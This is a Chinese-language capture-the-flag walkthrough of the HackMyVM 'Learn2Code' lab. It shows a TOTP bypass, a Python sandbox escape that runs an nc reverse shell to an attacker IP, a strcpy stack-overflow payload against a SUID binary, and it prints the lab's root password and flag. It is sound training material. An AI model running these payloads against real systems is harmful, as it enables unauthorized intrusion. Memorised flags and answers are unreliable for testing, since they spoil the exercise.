Learn2Code
项目地址:https://downloads.hackmyvm.eu/learn2code.zip
是一个打包好的镜像文件
注意:导入 ova 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

弱口令
Type the Google Authenticator code
访问 80 端口只给了一个输入框

查看源代码发现引入了 /includes/js/functions.js 这一文件
1 | function check_code() { |
/includes/js/custom_lib.js
1 | function php_ajax(params, php_file, response) |
扫描目录发现文件

下载备份文件拿到源码
1 |
|
这里也可以用 Python 直接生成
1 | python3 -c "import pyotp; print(pyotp.TOTP('S4I22IG3KHZIGQCJ').now())" |

看样子我们必须得通过 code 验证
查看前端代码发现长度固定为六位

BP 里面抓包设置类型开始爆破

爆破成功,但是有时间限制,必须得快速登录

登录成功

RCE
Python 沙箱逃逸
结合上面泄露的源码分析,这里应该是要输入代码
测试 whoami 报错出一个 Python 错误,说明后端是 Python

1 | mod=__import__('os');mod.popen('nc -e /bin/bash 192.168.125.4 9999') |
__import__():Python 的内建函数,用于动态导入模块,等价于import os在单行命令注入场景中(如
python -c "..."),import语句需要独占一行,而__import__()是表达式,可以嵌入到任意位置mod.popen:在底层调用fork()创建子进程子进程通过
/bin/sh -c执行传入的命令字符串-e /bin/bash:在连接建立后,将/bin/bash的stdin/stdout/stderr全部重定向到该 TCP Socket

收到 Shell

提权
Python 升级为交互式 Shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
strcpy 栈溢出
查找 SUID 权限文件发现 MakeMeLearner

直接运行提示需要指定一个参数,加上 -h 回显内容和二进制有关

检查安装的软件有 Python3,开启 HTTP 服务下载这个二进制文件

反编译看伪代码发现要让 v5 等于 0x61626364

在 if 前面有一个 strcpy(dest, argv[1]); 拷贝命令
查看 dest 和 v5 的位置,发现存在溢出(var_4 就是 v5)

在 ASCII 码中:
0x61 = 'a'0x62 = 'b'0x63 = 'c'0x64 = 'd'
由于计算机是小端序存储,低位字节存放在低地址,从低到高应该依次是 \x64 \x63 \x62 \x61
最终构造 Payload
1 | ./MakeMeLearner $(python3 -c "print('A' * 76 + 'dcba')") |

在 www-data 用户的 Shell 下运行这段命令可以提权到 learner 用户
逆向
这个用户也有一个程序,名称是 MySecretPasswordVault
IDA 逆向发现字符串,拼接起来就是 root 用户的密码——NI98hIhj)(Jj

因为靶机可能有时候会崩,但是 Web 又得重新爆破一遍,这样就太浪费时间了
所以我将 flag 放在下面
1 | N1c3m0veMat3! |